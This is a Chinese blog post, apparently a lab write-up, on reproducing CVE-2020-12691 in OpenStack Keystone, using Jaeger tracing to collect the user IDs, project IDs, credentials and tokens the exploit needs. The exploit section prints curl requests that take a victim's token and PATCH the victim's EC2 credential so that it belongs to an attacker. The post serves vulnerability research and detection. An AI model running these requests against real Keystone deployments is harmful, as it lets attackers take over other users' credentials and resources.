前言

5.14 的时候就写好了,就是一直没发(摊手

使用 Victoria 版本的 Keystone(18.0.0)不能复现漏洞利用,但是可以获取漏洞利用过程中所需的相关信息。

该漏洞的原理是使用受害者的 X-Subject-Token、credential,将其 credential 对应的 user_id、project_id 替换为攻击者的,攻击者因此获得了 credential 的使用权,进而使用该 credential 请求受害者所有的资源。漏洞利用所需的信息包括:

  • user_id
  • project_id
  • credential
  • X-Subject-Token

相关概念

令牌(Token)

一旦用户的凭据(credential)通过验证,令牌服务验证和管理用于发起授权请求的令牌。

下图是请求 token 的时序图,在 v3 版本的 API 中,token 在 HTTP 头部的 X-Subject-Token 字段中,而且作为 HTTP 头部的 X-Auth-Token 字段,用以向其他服务提供认证。

应用程序凭据(Application Credential)

用户可以创建应用凭据来允许其应用向 Keystone 进行认证,用户可以将其在项目上的角色分配的子集委托给应用程序凭据。应用使用凭据(而不是用户名密码)进行身份认证。

EC2 credential 允许用户通过 Amazon S3 API 访问 OpenStack 资源。

实验环境

使用 Virtualbox 虚拟机安装 Ubuntu 18.04;然后再安装 Docker 和 Jaeger 相关的 Python 库。

  1. 安装 Docker

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    # Docker
    sudo apt update

    sudo apt install \
    apt-transport-https \
    ca-certificates \
    curl \
    gnupg \
    lsb-release

    curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg

    echo \
    "deb [arch=amd64 signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu \
    $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null

    sudo apt update
    sudo apt install docker-ce docker-ce-cli containerd.io

    sudo usermod -aG docker $USER
    newgrp docker

    # 开机启动
    sudo systemctl enable docker.service
    sudo systemctl enable containerd.service
  2. 安装 Docker Compose(虽然没用到xd)

    1
    2
    3
    4
    # docker-compose
    sudo curl -L "https://github.com/docker/compose/releases/download/1.28.6/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
    sudo chmod +x /usr/local/bin/docker-compose
    docker-compose --version
  3. 使用 pip 安装 Jaeger 相关的库

    1
    2
    3
    # Python 库
    pip install jaeger_client
    pip install opentracing
  4. 启动 all-in-one 镜像

    1
    2
    3
    4
    5
    # 拉取镜像
    docker pull jaegertracing/all-in-one

    # 创建容器
    docker run -itd -p 6831:6831/udp -p 6832:6832/udp -p 16686:16686 jaegertracing/all-in-one

漏洞利用

使用 admin 用户执行以下指令,创建受害者(user1)和攻击者(user2)用户,并绑定角色和项目,最后各自生成一个 EC2 credential 。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# 列出角色
openstack role list
# 创建角色
openstack role create myrole

# 创建项目及用户
openstack project create --description 'cve-2020-12691' project1 --domain default
openstack user create --project project1 --password password user1
openstack project create --description 'cve-2020-12691' project2 --domain default
openstack user create --project project2 --password password user2

# 设置用户角色
openstack role add --user user1 --project project1 admin
openstack role add --user user2 --project project2 myrole

# 查看角色分配
openstack role assignment list

# 创建 credential
openstack ec2 credentials create --project project1 --user user1 --user-domain default --project-domain default
openstack ec2 credentials create --project project2 --user user2 --user-domain default --project-domain default

# 查看 credential
openstack credential list

对 Keystone 进行插桩,追踪 openstack credential list 的执行链路。发现包含漏洞利用所需的所有信息,但对应的 X-Subject-Token 是 admin 用户的。

改用属于 admin 角色的 user1 用户执行该指令,admin 角色的用户可以查看所有 credential:

1
2
3
4
5
6
7
8
9
export OS_USERNAME=user1
export OS_PASSWORD=password
export OS_PROJECT_NAME=project1
export OS_USER_DOMAIN_NAME=Default
export OS_PROJECT_DOMAIN_NAME=Default
export OS_AUTH_URL=http://127.0.0.1:5000/v3
export OS_IDENTITY_API_VERSION=3

openstack credential list

(user1)除了 X-Subject-Token ,还包含 user_id、project_id

(user1)另一条 trace 中包含 credential ,根据 user_id 和 project_id ,可以辨认出 user1 用户的 credential

(user2)赋予 myrole 角色的 user2 只能看到自己的 credential 信息

(user2)追踪信息和 user1 用户的相同,包括自己的 X-Subject-Token、user_id、project_id

以下是漏洞利用的过程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# 获取 User1 的 X-Subject-Token
curl -i -s\
-H "Content-Type: application/json" \
-d '
{ "auth": {
"identity": {
"methods": ["password"],
"password": {
"user": {
"name": "user1",
"domain": { "name": "default" },
"password": "password"
}
}
},
"scope": {
"project": {
"name": "project1",
"domain": { "name": "default" }
}
}
}
}' \
"http://localhost:5000/v3/auth/tokens?nocatalog"

# 获取 User1 的 credential(根据 user_id 和 peoject_id 查找)
curl \
-H "Content-Type: application/json" \
-H "X-Auth-Token: gAAAAABgdRYFHdUj407-Ysq_SSPjsB5NXYDmjtFx6WCKcbgh7QBSIJSxa0s4b7RDs0fxO3eB5GW6X1vD9o1PSUQn-nKX2KzJRQHKhWHlDBWM8xjCWsZmfEMd7dOM0VyUXb5P8H4H4CKCqoCZcwQw-eibA_u6NWuNHG8kAR-AQR2OyDSKMF9X9Yg" \
"http://localhost:5000/v3/credentials" | python -m json.tool


# 替换为 User2 的 user_id、project_id
curl -X PATCH \
-H "Content-Type: application/json" \
-H "X-Auth-Token: gAAAAABgdRYFHdUj407-Ysq_SSPjsB5NXYDmjtFx6WCKcbgh7QBSIJSxa0s4b7RDs0fxO3eB5GW6X1vD9o1PSUQn-nKX2KzJRQHKhWHlDBWM8xjCWsZmfEMd7dOM0VyUXb5P8H4H4CKCqoCZcwQw-eibA_u6NWuNHG8kAR-AQR2OyDSKMF9X9Yg" \
-d '
{ "credential": {
"project_id": "b0419aebd03c40f3b8b0c413d19056ce",
"user_id": "6d173c8b8d354c0b8f890a0666821a64"
}
}' \
"http://localhost:5000/v3/credentials/416f331f7a26867c8be1fe3c574b4878b09b58fd272b7ab60bb568b52deabdb9"

也就是说,只要获得了受害者的 X-Subject-Token、credential ,就可以通过 PATCH 请求将 credential 对应的所有者替换为攻击者的。

Jaeger API

返回追踪信息,保存为 json 格式。

1
2
3
4
# http://jaeger-query:16686/api/traces/{trace-id-hex-string}
curl "http://localhost:16686/api/traces/a6192f3a980c57b5" -o 3.json

cat 3.json | python -mjson.tool

这里的 trace-id-hex-string 是路径中完整的字符串,不是 Jaeger UI 中的缩略显示。

总结

  1. 从复现漏洞利用的角度来说,链路追踪可以获取到大量的可用信息,帮助构建漏洞利用脚本;

  2. 从发现漏洞的角度来说,通过链路追踪的到的数据进行分析,可能发现异常。

    • 上述漏洞可以通过使用同一个用户执行相同指令,对比发现返回的结果不同。具体来说就是漏洞利用之前和之后 openstack credential list 返回的数据不一致,因此可以推断这里可能产生了异常。

参阅